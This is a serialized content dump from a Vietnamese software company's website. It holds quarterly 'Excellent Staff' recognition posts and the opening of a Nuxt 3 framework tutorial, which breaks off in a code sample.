Developer",{},"\u002Fnews\u002Fnhan-vien-xuat-sac-quy-1-nam-2025",{"title":6606,"description":6652},"news\u002Fnhan-vien-xuat-sac-quy-1-nam-2025","https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2025\u002F05\u002F22093850\u002FTitle-Q1.2025.png","jtRaCFqc6_0PB7PRmBCVAOBQHF_VH9uKdDjukFxB88I",{"id":6660,"title":6661,"body":6662,"category":69,"created by":3000,"date":6703,"description":6704,"extension":72,"meta":6705,"navigation":74,"path":6706,"sections":76,"seo":6707,"stem":6708,"thumbnail":6709,"__hash__":6710},"content_en\u002Fnews\u002Fnhan-vien-xuat-sac-quy-2-nam-2024.md","Excellent Staff In Quarter 2.2024",{"type":8,"value":6663,"toc":6701},[6664,6666,6669,6675,6679,6684,6688,6692,6695,6698],[11,6665,6555],{},[11,6667,6668],{},"The company is pleased to honor two staff who have achieved outstanding results in Quarter 2.2024!",[11,6670,6671,212],{},[438,6672],{"className":6673,"alt":66,"src":6674,"style":1894},[441,442],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2025\u002F03\u002F20105947\u002FQ2-1024x768.jpg",[11,6676,6677],{},[20,6678,6623],{},[11,6680,6681,6682],{},"Huynh Bui Thanh Nhan - IT Communicator ",[51,6683,6573],{},[11,6685,6686],{},[20,6687,6633],{},[11,6689,6626,6690],{},[51,6691,6639],{},[11,6693,6694],{},"These are two individuals who have made remarkable breakthroughs in the race for the \"Excellent Staff of the Quarter\" title. They have made significant contributions in the quarter, helping to drive the company's overall growth.",[11,6696,6697],{},"Congratulations to Mr. Nhan and Mr. Hoang for their impressive achievements!",[11,6699,6700],{},"Let’s continue striving together and set our sights on even higher goals in the next quarter!",{"title":66,"searchDepth":67,"depth":67,"links":6702},[],"2025-04-08","Welcome back to Briswell Vietnam's “Excellent Staff of the Quarter” series! The company is pleased to honor two staff who have achieved outstanding results in Quarter 2.2024! These are two individuals who have made remarkable breakthroughs in the race for the \"Excellent Staff of the Quarter\" title. They have made significant contributions in the quarter, helping to drive the company's overall growth.",{},"\u002Fnews\u002Fnhan-vien-xuat-sac-quy-2-nam-2024",{"title":6661,"description":6704},"news\u002Fnhan-vien-xuat-sac-quy-2-nam-2024","https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2025\u002F03\u002F20110501\u002FTitle-Q2.png","ZEe0XdgMD0fYTjOttOrEV3V7-0TZ1yTz9jJTzi9pEAI",{"id":6712,"title":6713,"body":6714,"category":69,"created by":4556,"date":6753,"description":6754,"extension":72,"meta":6755,"navigation":74,"path":6756,"sections":76,"seo":6757,"stem":6758,"thumbnail":6759,"__hash__":6760},"content_en\u002Fnews\u002Fnhan-vien-xuat-sac-quy-2-nam-2025.md","Excellent Staff in Quarter 2.2025",{"type":8,"value":6715,"toc":6751},[6716,6719,6723,6728,6732,6736,6741,6745,6748],[11,6717,6718],{},"In Quarter 2.2025, Briswell Vietnam proudly recognizes the outstanding efforts and contributions of our team members. Notably, two individuals stood out for their impressive achievements and dedication to the company’s projects.",[11,6720,6721],{},[20,6722,6623],{},[11,6724,6725,6726],{},"Le Ngoc Khanh - Software Engineer ",[51,6727,6573],{},[438,6729],{"className":6730,"alt":66,"src":6731,"style":506},[441,442],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2025\u002F11\u002F28132245\u002FQ2-2025-1-1024x1536.jpg",[11,6733,6734],{},[20,6735,6633],{},[11,6737,6738,6739],{},"Nguyen Ngoc Chinh - Nodejs Developer ",[51,6740,6573],{},[438,6742],{"className":6743,"alt":66,"src":6744,"style":506},[441,442],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2025\u002F11\u002F28132255\u002FQ2-2025-2-1024x1536.jpg",[11,6746,6747],{},"After a long time, Mr. Khanh made a strong comeback to reclaim the top position. At the same time, Mr. Chinh was honored with the 2nd prize for the first time, marking an important milestone in his career.",[11,6749,6750],{},"Quarter 3 is approaching with many new opportunities. Let’s keep up the momentum and strive together to reach new goals!",{"title":66,"searchDepth":67,"depth":67,"links":6752},[],"2025-12-05","In Quarter 2.2025, Briswell Vietnam proudly recognizes the outstanding efforts and contributions of our team members. Notably, two individuals stood out for their impressive achievements and dedication to the company’s projects. 🏅The first prize Le Ngoc Khanh – Software Engineer (Right) 🥈The second prize Nguyen Ngoc Chinh – Nodejs Developer (Right) After a long time, Mr. Khanh made a strong comeback to reclaim the top position",{},"\u002Fnews\u002Fnhan-vien-xuat-sac-quy-2-nam-2025",{"title":6713,"description":6754},"news\u002Fnhan-vien-xuat-sac-quy-2-nam-2025","https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2025\u002F11\u002F28132326\u002FTitle-Q2.2025.png","eNBfiPp2yGqdGxIdztuTRZnKB1VI9Jd0MUpGOKWlJCg",{"id":6762,"title":6763,"body":6764,"category":69,"created by":3000,"date":6801,"description":6802,"extension":72,"meta":6803,"navigation":74,"path":6804,"sections":76,"seo":6805,"stem":6806,"thumbnail":6807,"__hash__":6808},"content_en\u002Fnews\u002Fnhan-vien-xuat-sac-quy-3-nam-2024.md","Excellent Staff in Quarter 3.2024",{"type":8,"value":6765,"toc":6799},[6766,6769,6772,6776,6781,6785,6789,6793,6796],[11,6767,6768],{},"The \"Excellent Staff of the Quarter\" series of Briswell Vietnam is back!",[11,6770,6771],{},"In this Quarter 3.2024, we have two new outstanding staff that rose above all others and gained the title “Excellent Staff of the Quarter”. They are:",[11,6773,6774],{},[20,6775,6623],{},[11,6777,6778,6779],{},"Le Van Dong - Nodejs Developer ",[51,6780,6573],{},[11,6782,6783],{},[20,6784,6633],{},[11,6786,6636,6787],{},[51,6788,6639],{},[438,6790],{"className":6791,"alt":66,"src":6792,"style":1098},[441,442],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2025\u002F03\u002F20110007\u002FQ3-768x807.png",[11,6794,6795],{},"Congratulations to our shining stars - Mr. Đồng and Ms. Hải! They have had an impressive quarter of work.",[11,6797,6798],{},"Let’s keep moving forward in the next quarter!",{"title":66,"searchDepth":67,"depth":67,"links":6800},[],"2025-04-14","The \"Excellent Staff of the Quarter\" series of Briswell Vietnam is back! In this Quarter 3.2024, we have two new outstanding staff that rose above all others and gained the title “Excellent Staff of the Quarter”. Congratulations to our shining stars - Mr. Đồng and Ms. Hải! They have had an impressive quarter of work. Let’s keep moving forward in the next quarter!",{},"\u002Fnews\u002Fnhan-vien-xuat-sac-quy-3-nam-2024",{"title":6763,"description":6802},"news\u002Fnhan-vien-xuat-sac-quy-3-nam-2024","https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2025\u002F03\u002F20110507\u002FTitle-Q3.png","LfAA99yjCLz3ieqVRDSVgy4k8Y3RnFMOM0W5n5F636o",{"id":6810,"title":6811,"body":6812,"category":69,"created by":4556,"date":6853,"description":6854,"extension":72,"meta":6855,"navigation":74,"path":6856,"sections":76,"seo":6857,"stem":6858,"thumbnail":6859,"__hash__":6860},"content_en\u002Fnews\u002Fnhan-vien-xuat-sac-quy-3-nam-2025.md","Excellent Staff in Quarter 3.2025",{"type":8,"value":6813,"toc":6851},[6814,6817,6820,6824,6829,6833,6837,6841,6845,6848],[11,6815,6816],{},"As Quarter 3.2025 comes to a close, Briswell Vietnam continues our tradition of celebrating staff who have made outstanding contributions to their work.",[11,6818,6819],{},"This quarter, the company is proud to honor two excellent team members.",[11,6821,6822],{},[20,6823,6623],{},[11,6825,6826,6827],{},"Nguyen Nhat Tam - Nodejs Developer ",[51,6828,6639],{},[438,6830],{"className":6831,"alt":66,"src":6832,"style":1098},[441,442],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2025\u002F11\u002F28132318\u002FQ3_2025-2-1468x1536.jpg",[11,6834,6835],{},[20,6836,6633],{},[11,6838,6738,6839],{},[51,6840,6573],{},[438,6842],{"className":6843,"alt":66,"src":6844,"style":1098},[441,442],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2025\u002F11\u002F28132306\u002FQ3_2025-1-768x804.jpg",[11,6846,6847],{},"Quarter 3.2025 marks a significant milestone for Mr. Tam, who appears for the first time on the company’s recognition list. Mr. Chinh continues to maintain his excellent performance, earning 2nd Prize once again, following his impressive achievement in Quarter 2.",[11,6849,6850],{},"We hope all team members will continue to strive together and aim for new accomplishments in Quarter 4.",{"title":66,"searchDepth":67,"depth":67,"links":6852},[],"2025-12-11","As Quarter 3.2025 comes to a close, Briswell Vietnam continues our tradition of celebrating staff who have made outstanding contributions to their work. This quarter, the company is proud to honor two excellent team members. 🏅The first prize Nguyen Nhat Tam – Nodejs Developer (Left) 🥈The second prize Nguyen Ngoc Chinh – Nodejs Developer (Right) Quarter 3.2025 marks a significant milestone for Mr. Tam, who appears for the first time on the company’s recognition list. Mr. Chinh continues to maintain his excellent performance, earning 2nd Prize once again, following his impressive achievement in Quarter 2.",{},"\u002Fnews\u002Fnhan-vien-xuat-sac-quy-3-nam-2025",{"title":6811,"description":6854},"news\u002Fnhan-vien-xuat-sac-quy-3-nam-2025","https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2025\u002F11\u002F28132329\u002FTitle-Q3.2025.png","gQqiNoVaN9usRowcz4anM1II-rZokeWDIOpe3IAjuYE",{"id":6862,"title":6863,"body":6864,"category":69,"created by":3000,"date":6900,"description":6901,"extension":72,"meta":6902,"navigation":74,"path":6903,"sections":76,"seo":6904,"stem":6905,"thumbnail":6906,"__hash__":6907},"content_en\u002Fnews\u002Fnhan-vien-xuat-sac-quy-4-nam-2024.md","Excellent Staff In Quarter 4.2024",{"type":8,"value":6865,"toc":6898},[6866,6869,6872,6876,6880,6884,6888,6892,6895],[11,6867,6868],{},"It’s that time again! Briswell Vietnam is excited to bring you another chapter of the “Excellent Staff of the Quarter” series.",[11,6870,6871],{},"This Quarter 4.2024, we will meet two familiar faces again who have continued to demonstrate their outstanding abilities and contributions. Thanks to their continuous work efforts, they have earned the title “Excellent Staff of the Quarter.”",[438,6873],{"className":6874,"alt":66,"src":6875,"style":1894},[441,442],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2025\u002F03\u002F20110028\u002FQ4-768x576.png",[11,6877,6878],{},[20,6879,6623],{},[11,6881,6626,6882],{},[51,6883,6573],{},[11,6885,6886],{},[20,6887,6633],{},[11,6889,6636,6890],{},[51,6891,6639],{},[11,6893,6894],{},"Congratulations to Mr. Hoang and Ms. Hai on their remarkable achievements!",[11,6896,6897],{},"Let’s step into the next quarter with enthusiasm and determination!",{"title":66,"searchDepth":67,"depth":67,"links":6899},[],"2025-04-23","It’s that time again! Briswell Vietnam is excited to bring you another chapter of the “Excellent Staff of the Quarter” series. This Quarter 4.2024, we will meet two familiar faces again who have continued to demonstrate their outstanding abilities and contributions. Thanks to their continuous work efforts, they have earned the title “Excellent Staff of the Quarter.” Congratulations to Mr. Hoang and Ms. Hai on their remarkable achievements! Let’s step into the next quarter with enthusiasm and determination!",{},"\u002Fnews\u002Fnhan-vien-xuat-sac-quy-4-nam-2024",{"title":6863,"description":6901},"news\u002Fnhan-vien-xuat-sac-quy-4-nam-2024","https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2025\u002F03\u002F20132336\u002FTitle-Q4.png","wBv1JBgegnxAO3LXFbx2VflCU0fIBzaqUf8xLaW5xPA",{"id":6909,"title":6910,"body":6911,"category":69,"created by":4556,"date":6945,"description":6946,"extension":72,"meta":6947,"navigation":74,"path":6948,"sections":76,"seo":6949,"stem":6950,"thumbnail":6951,"__hash__":6952},"content_en\u002Fnews\u002Fnhan-vien-xuat-sac-quy-4-nam-2025.md","Excellent Staff in Quarter 4.2025",{"type":8,"value":6912,"toc":6943},[6913,6916,6919,6923,6927,6930,6934,6937,6940],[11,6914,6915],{},"As we wrap up the final journey of 2025, it’s time for Briswell Vietnam to recognize our “top warriors” of the Quarter 4.2025!",[11,6917,6918],{},"In this quarter, the company is proud to honor two outstanding members.",[438,6920],{"className":6921,"alt":66,"src":6922,"style":506},[441,442],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2026\u002F01\u002F29111417\u002FIMG_8721-1-scaled.jpg",[11,6924,6925],{},[20,6926,6623],{},[11,6928,6929],{},"Phan Thanh Hoang - Nodejs Developer (Right)",[11,6931,6932],{},[20,6933,6633],{},[11,6935,6936],{},"Do Xuan Dieu - IT Communicator (Left)",[11,6938,6939],{},"Congratulations to Mr. Thanh Hoang, who once again demonstrated his strong capability by reclaiming the leading position. In addition, Ms. Xuan Dieu, a promising new member of Briswell, quickly made her mark with strong performance and was honored with the title of second Excellent Staff of Quarter 4.",[11,6941,6942],{},"We hope this spirit of excellence will continue to inspire the Briswell team to work together and achieve even greater success in 2026.",{"title":66,"searchDepth":67,"depth":67,"links":6944},[],"2026-01-30","As we wrap up the final journey of 2025, it’s time for Briswell Vietnam to recognize our “top warriors” of the Quarter 4.2025! In this quarter, the company is proud to honor two outstanding members. 🏅The first prize Phan Thanh Hoang – Nodejs Developer (Right) 🥈The second prize Do Xuan Dieu – IT Communicator (Left) Congratulations to Mr. Thanh Hoang, who once again demonstrated his strong capability by reclaiming the leading position.",{},"\u002Fnews\u002Fnhan-vien-xuat-sac-quy-4-nam-2025",{"title":6910,"description":6946},"news\u002Fnhan-vien-xuat-sac-quy-4-nam-2025","https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2026\u002F01\u002F29111942\u002FTitle-Q4.2025.png","pxeH57c85oHjUuaG0ZD5-kKIacZYqupTaYVqs_8pp4Q",{"id":6954,"title":6955,"body":6956,"category":1319,"created by":8238,"date":8239,"description":8240,"extension":72,"meta":8241,"navigation":74,"path":8242,"sections":76,"seo":8243,"stem":8244,"thumbnail":8245,"__hash__":8246},"content_en\u002Fnews\u002Fnuxt-the-intuitive-web-framework.md","Nuxt - The Intuitive Web Framework",{"type":8,"value":6957,"toc":8209},[6958,6960,6963,6966,6970,6976,6982,6988,6994,7000,7006,7012,7024,7030,7034,7078,7082,7085,7090,7094,7099,7109,7119,7133,7142,7152,7158,7164,7170,7180,7190,7196,7206,7214,7220,7229,7242,7248,7254,7260,7266,7272,7278,7284,7288,7294,7297,7303,7309,7312,7318,7324,7344,7348,7354,7357,7363,7366,7372,7375,7381,7384,7391,7397,7405,7408,7411,7417,7421,7425,7431,7438,7444,7450,7456,7459,7469,7472,7478,7482,7489,7495,7499,7505,7511,7514,7518,7525,7552,7558,7562,7568,7572,7578,7584,7588,7591,7597,7600,7606,7610,7613,7619,7623,7626,7632,7636,7639,7645,7649,7655,7662,7668,7671,7675,7681,7689,7695,7701,7714,7719,7726,7732,7737,7744,7747,7750,7756,7762,7770,7787,7793,7799,7806,7812,7817,7824,7829,7832,7836,7839,7845,7850,7856,7862,7865,7870,7873,7879,7884,7925,7930,7944,7947,7953,7961,7966,7969,7975,7978,7984,7987,7993,7996,8002,8007,8010,8016,8021,8024,8030,8035,8044,8047,8053,8056,8062,8066,8069,8072,8078,8081,8087,8090,8096,8099,8105,8107,8110,8115,8138,8143,8160,8163,8167,8179,8183,8191,8193,8199,8204],[403,6959,2655],{"id":2654},[11,6961,6962],{},"Nuxt is an open-source JavaScript framework based on Vue.js. The latest version is currently Nuxt 3. Nuxt 3 is an upgrade from the Nuxt framework based on Vite, Vue 3, and Nitro with support from Typescript.",[11,6964,6965],{},"Nuxt simplifies the development of web applications under Server-side rendering (SSR) and Static Site Generation (SSG) methods, in addition to other methods such as CSR, ISR, ESR, and SWR. Nuxt provides a structured and convention-based approach to building Vue.js applications, allowing developers to focus on developing features instead of dealing with complex configurations.",[403,6967,6969],{"id":6968},"why-use-nuxt","Why use Nuxt?",[11,6971,6972,6975],{},[20,6973,6974],{},"Server-side Rendering (SSR):"," Nuxt enables server-side rendering, which means that the Vue.js components are pre-rendered on the server before being sent to the client. This improves initial page load performance and allows for better search engine optimization (SEO), as search engines can index fully rendered content.",[11,6977,6978,6981],{},[20,6979,6980],{},"Static Site Generation (SSG):"," Nuxt can generate static HTML files at build time, which can be served directly from a CDN or static hosting service. This approach eliminates the need for server-side rendering on each request, resulting in faster page loads and improved scalability.",[11,6983,6984,6987],{},[20,6985,6986],{},"Faster rendering:"," The Vue Virtual DOM (VDOM) has been rewritten from the ground up, allowing for better rendering performance. On top of that, when working with compiled Single-File Components, the Vue compiler can further optimize them at build time by separating static and dynamic markup. This results in faster first rendering (component creation) and updates, and less memory usage. In Nuxt 3, it enables faster server-side rendering as well.",[11,6989,6990,6993],{},[20,6991,6992],{},"Smaller bundle:"," With Vue 3 and Nuxt 3, a focus has been put on bundle size reduction. By implementing the tree-shaking technique, the production environment of the application will exclude Vue's features such as template directives and components that are not used when bundling. This can help reduce file size, download faster, and improve loading time for applications. This way, a minimum Vue 3 application can be reduced to 12 kb gzip compressed.",[11,6995,6996,6999],{},[20,6997,6998],{},"Extensive ecosystem:"," Nuxt has a diverse development ecosystem contributed by the community. You can take advantage of community plugins, modules, and tools to extend and customize your application.",[11,7001,7002,7005],{},[20,7003,7004],{},"Support Typescript:"," Although Nuxt 2 already supports Typescript, Nuxt 3 has improved Typescript support, you can use Type-checking and other tools that Nuxt provides based on Typescript.",[11,7007,7008,7011],{},[20,7009,7010],{},"Simplified development:"," With Convention Over Configuration, Nuxt reduces boilerplate code and simplifies the development process. It comes with built-in features such as routing, code splitting, and state management, enabling you to focus on building your application logic rather than worrying about setup and configuration.",[11,7013,7014,7023],{},[20,7015,7016,7017,507,7020,712],{},"Better ",[20,7018,7019],{},"experience",[20,7021,7022],{},"for developers"," Nuxt offers a robust development environment with features like hot module replacement, automatic reloading, error handling, and more innovative tools like debugging, testing, dev tools, and others. These features streamline the development workflow, allowing for faster iterations and better debugging capabilities.",[11,7025,7026,7029],{},[20,7027,7028],{},"Scalability and performance:"," Nuxt optimizes your application's performance through features like automatic code splitting, lazy loading, and pre-rendering. It ensures that only the necessary JavaScript is loaded for each page, resulting in faster load times and a better user experience. Additionally, Nuxt's modular architecture allows for easy scalability when upgrading your application to higher versions.",[403,7031,7033],{"id":7032},"some-built-in-supported-technologies","Some built-in supported technologies",[203,7035,7036,7043,7050,7057,7064,7071],{},[34,7037,7038],{},[55,7039,7042],{"href":7040,"rel":7041},"https:\u002F\u002Fwebpack.js.org\u002F",[59],"Webpack 5",[34,7044,7045],{},[55,7046,7049],{"href":7047,"rel":7048},"https:\u002F\u002Fvitejs.dev\u002F",[59],"Vite",[34,7051,7052],{},[55,7053,7056],{"href":7054,"rel":7055},"https:\u002F\u002Fnitro.unjs.io\u002F",[59],"Nitro",[34,7058,7059],{},[55,7060,7063],{"href":7061,"rel":7062},"https:\u002F\u002Fvuejs.org\u002F",[59],"Vue 3",[34,7065,7066],{},[55,7067,7070],{"href":7068,"rel":7069},"https:\u002F\u002Frouter.vuejs.org\u002F",[59],"Router 4",[34,7072,7073],{},[55,7074,7077],{"href":7075,"rel":7076},"https:\u002F\u002Fwww.typescriptlang.org\u002F",[59],"Typescript",[403,7079,7081],{"id":7080},"feature-comparison","Feature comparison",[11,7083,7084],{},"In the table below, there is a quick comparison between 3 versions of Nuxt:",[438,7086],{"className":7087,"alt":66,"src":7088,"style":7089},[441,442],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2023\u002F07\u002F06143637\u002Ffeature-comparison.png","width: 90%;",[403,7091,7093],{"id":7092},"directory-structure","Directory structure",[438,7095],{"className":7096,"alt":66,"src":7097,"style":7098},[441,442],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2023\u002F07\u002F06160101\u002Fdirectory-structure2.png","width: 25%;",[11,7100,7101,7104,7105,7108],{},[20,7102,7103],{},".nuxt:"," Nuxt uses the ",[20,7106,7107],{},"\".nuxt\u002F\""," directory during development to create your Vue application.",[11,7110,7111,7114,7115,7118],{},[20,7112,7113],{},".output:"," Nuxt creates the ",[20,7116,7117],{},"\".output\u002F\""," directory when building your application for the production environment.",[11,7120,7121,7124,7125,7128,7129,7132],{},[20,7122,7123],{},"assets:"," The ",[20,7126,7127],{},"\"assets\u002F\""," directory is used to add all the content of the site that the builder (Webpack or Vite) will process. The folder usually contains the following file types: Stylesheets (CSS, SASS, etc.), Fonts, and images will not be served from the ",[20,7130,7131],{},"\"public\u002F\""," directory.",[11,7134,7135,7124,7138,7141],{},[20,7136,7137],{},"components:",[20,7139,7140],{},"\"components\u002F\""," directory is where you put all your Vue components which can then be imported inside your pages or other components.",[11,7143,7144,7147,7148,7151],{},[20,7145,7146],{},"composables:"," Nuxt 3 uses the ",[20,7149,7150],{},"\"composables\u002F\""," directory to automatically import your Vue composables into your application using auto-imports.",[11,7153,7154,7157],{},[20,7155,7156],{},"content:"," Supports .md, .yml, and .csv files to create a CMS for your application.",[11,7159,7160,7163],{},[20,7161,7162],{},"layouts:"," Used to change the look and feel of your application. An application can have multiple layouts for example: admin layout, guest layout, and registered clients layout. These layouts will be reused on different pages to handle their appearance (sidebar, menu, footer, etc.). During installation, Nuxt CLI provides default layouts\u002Fdefault.vue layout and is used on all pages.",[11,7165,7166,7169],{},[20,7167,7168],{},"middleware:"," Used to handle requests before the page is displayed to the user. Middleware allows you to perform tasks such as authentication, access checking, activity logging, and other custom processing before the page is rendered.",[11,7171,7172,7175,7176,7179],{},[20,7173,7174],{},"modules",": Nuxt scans the ",[20,7177,7178],{},"\"modules\u002F\""," directory and loads them before starting. It is a good place to place any local modules you develop while building your application.",[11,7181,7182,7185,7186,7189],{},[20,7183,7184],{},"node_modules:"," The package manager (npm or yarn or pnpm) creates the ",[20,7187,7188],{},"\"node_modules\u002F\""," directory to store the dependencies of your project.",[11,7191,7192,7195],{},[20,7193,7194],{},"pages:"," Nuxt provides file-based routing to create routes in your web application using Vue Router.",[11,7197,7198,7201,7202,7205],{},[20,7199,7200],{},"plugins:"," Nuxt automatically reads the files in your ",[20,7203,7204],{},"\"plugins\""," directory and loads them at the creation of the Vue application. You can use the .server or .client suffix in the file name to load a plugin only on the server or client side.",[11,7207,7208,7124,7211,7213],{},[20,7209,7210],{},"public:",[20,7212,7131],{}," directory contains static files and provides resources directly to HTTP requests without additional processing logic. For example, you can place image files, font files, robot.txt, favicon.ico, or other static files.",[11,7215,7216,7219],{},[20,7217,7218],{},"server:"," Nuxt automatically scans files inside these directories to register API and server handlers with HMR support: ~\u002Fserver\u002Fapi, ~\u002Fserver\u002Froutes, ~\u002Fserver\u002Fmiddleware.",[11,7221,7222,7147,7225,7228],{},[20,7223,7224],{},"utils:",[20,7226,7227],{},"\"utils\u002F\""," directory to automatically import helper functions and other utilities throughout your application using auto-imports.",[11,7230,7231,7234,7235,1017,7238,7241],{},[20,7232,7233],{},".env:"," Nuxt CLI has built-in dotenv support in development mode and when running ",[612,7236,7237],{},"nuxi build",[612,7239,7240],{},"nuxi generate",". In addition to any process environment variables, if you have a .env file in your project root directory, it will be automatically loaded at build, dev, and generate time, and any environment variables set there will be accessible within your nuxt.config file and modules.",[11,7243,7244,7247],{},[20,7245,7246],{},".gitignore:"," This will list the names of files and folders in the project that you do not want to be parsed every time you manipulate git.",[11,7249,7250,7253],{},[20,7251,7252],{},".nuxtignore:"," The .nuxtigore file allows Nuxt to ignore layouts, pages, components, composables, and middleware in the project root directory (rootDir) during the build process. The .nuxtigore file follows the same specifications as the .gitignore and .eslintigore files, where each line is a glob pattern indicating which files should be ignored.",[11,7255,7256,7259],{},[20,7257,7258],{},"app.config.ts:"," Used to configure and customize the Nuxt application.",[11,7261,7262,7265],{},[20,7263,7264],{},"app.vue:"," The main component in Nuxt 3 applications.",[11,7267,7268,7271],{},[20,7269,7270],{},"nuxt.config.ts:"," The nuxt.config.ts file contains your custom Nuxt configuration and allows you to configure your application, these configurations include head title and associated styles and scripts, middlewares, plugins, authentication, modules, and even APIs.",[11,7273,7274,7277],{},[20,7275,7276],{},"package.json:"," Contains all the dependencies and scripts for your application.",[11,7279,7280,7283],{},[20,7281,7282],{},"tsconfig.json:"," Nuxt automatically creates a .nuxt\u002Ftsconfig.json file with other reasonable defaults. You just need to create a tsconfig.json file outside of the root and import it from the initialized Nuxt file.",[403,7285,7287],{"id":7286},"feature","Feature",[565,7289,7291],{"id":7290},"auto-imports",[20,7292,7293],{},"Auto-imports",[11,7295,7296],{},"Auto-import is a new feature developed by Nuxt 3 which is quite convenient. All files in components, composables, utils are automatically recognized and just need to name the component, composables, etc. without having to import again. Auto import is enabled by default but can also be turned off in the nuxt.config.ts file as follows:",[605,7298,7301],{"className":7299,"code":7300,"language":610},[608],"export default defineNuxtConfig({\n  imports: {\n    autoImport: false\n  }\n})\n\n",[612,7302,7300],{"__ignoreMap":66},[565,7304,7306],{"id":7305},"rendering-modes",[20,7307,7308],{},"Rendering Modes",[11,7310,7311],{},"Nuxt supports different rendering modes, universal rendering, and client-side rendering but also offers hybrid rendering and the possibility to render your application on CDN Edge Servers.",[565,7313,7315],{"id":7314},"server-engine",[20,7316,7317],{},"Server Engine",[11,7319,7320,7321,878],{},"Nuxt 3 is powered by a new server engine, ",[55,7322,7056],{"href":7054,"rel":7323},[59],[203,7325,7326,7329,7332,7335,7338,7341],{},[34,7327,7328],{},"Cross-platform support for Node.js, Browsers, service workers, and more.",[34,7330,7331],{},"Serverless support out-of-the-box.",[34,7333,7334],{},"API routes support.",[34,7336,7337],{},"Automatic code-splitting and async-loaded chunks.",[34,7339,7340],{},"Hybrid mode for static + serverless sites.",[34,7342,7343],{},"Development server with hot module reloading.",[403,7345,7347],{"id":7346},"getting-started-with-nuxt","Getting started with Nuxt",[11,7349,7350,7353],{},[20,7351,7352],{},"Prerequisites:"," Nodejs version 16.0.0 or later.",[11,7355,7356],{},"A simple setup with Nuxt CLI, used with the nuxi command will help you to install and manage all Nuxt components. With npx installed, you can easily create a project with the command below:",[605,7358,7361],{"className":7359,"code":7360,"language":610},[608],"> npx nuxi init project-name\n",[612,7362,7360],{"__ignoreMap":66},[11,7364,7365],{},"As an output you will get this.",[605,7367,7370],{"className":7368,"code":7369,"language":610},[608],"Nuxt project is created with a v3 template. Next steps:\n› cd project-name\n› Install dependencies with npm install or yarn install or pnpm install\n› Start development server with npm run dev or yarn dev or pnpm run dev\n",[612,7371,7369],{"__ignoreMap":66},[11,7373,7374],{},"Install dependencies.",[605,7376,7379],{"className":7377,"code":7378,"language":610},[608],"yarn install\n",[612,7380,7378],{"__ignoreMap":66},[11,7382,7383],{},"And here is the new project structure.",[11,7385,7386,7390],{},[438,7387],{"className":7388,"alt":66,"src":7389,"style":7098},[441,442],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2023\u002F07\u002F06171557\u002Finit-project.png"," You should now be able to start your Nuxt application in development mode.",[605,7392,7395],{"className":7393,"code":7394,"language":610},[608],"yarn dev -o\n",[612,7396,7394],{"__ignoreMap":66},[11,7398,7399,7400,7404],{},"Then visit the browser at ",[55,7401,7402],{"href":7402,"rel":7403},"http:\u002F\u002Flocalhost:3000",[59],", to see the newly created Nuxt application running.",[11,7406,7407],{},"By default, the app .vue file is the core component that acts as the entry point and renders its content for each application route. Is the root component of your Nuxt application and represents the layout and structure that wraps all other components. It usually contains the main layout, navigation, and any global components or logic that need to be shared across multiple pages.",[11,7409,7410],{},"Change a bit the content in the app.vue file and see the display.",[605,7412,7415],{"className":7413,"code":7414,"language":610},[608],"> app.vue\n\u003Ctemplate>\n  \u003Cdiv>\n    \u003Ch1>Welcome to the homepage\u003C\u002Fh1>\n  \u003Cdiv>\n\u003C\u002Ftemplate>\n",[612,7416,7414],{"__ignoreMap":66},[438,7418],{"className":7419,"alt":66,"src":7420,"style":444},[441,442],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2023\u002F07\u002F06174754\u002Fapp.vue_-1024x130.png",[403,7422,7424],{"id":7423},"features","Features",[565,7426,7428],{"id":7427},"pages",[20,7429,7430],{},"Pages",[11,7432,7433,7434,7437],{},"This is where your Application Views and routes will be located. By default, Nuxt uses a file-based routing system, where each .vue file in the ",[20,7435,7436],{},"\"\u002Fpages\""," directory corresponds to a route.",[11,7439,7440,7441,7132],{},"To use pages, create the file pages\u002Findex.vue and add the \u003CNuxtPage \u002F> component to app.vue (or remove app.vue when you want pages\u002Findex.vue for default entry). Pages are Vue components and can have any valid extension that Nuxt supports (by default, .vue, .js, .jsx, .mjs, .ts, or .tsx). Nuxt will automatically generate routes for every page in your ",[20,7442,7443],{},"\"~\u002Fpages\u002F\"",[605,7445,7448],{"className":7446,"code":7447,"language":610},[608],"> app.vue (app.vue default entry)\n\u003Ctemplate>\n  \u003CNuxtPage \u002F>\n\u003C\u002Ftemplate>\n\n--- .vue ---\n> 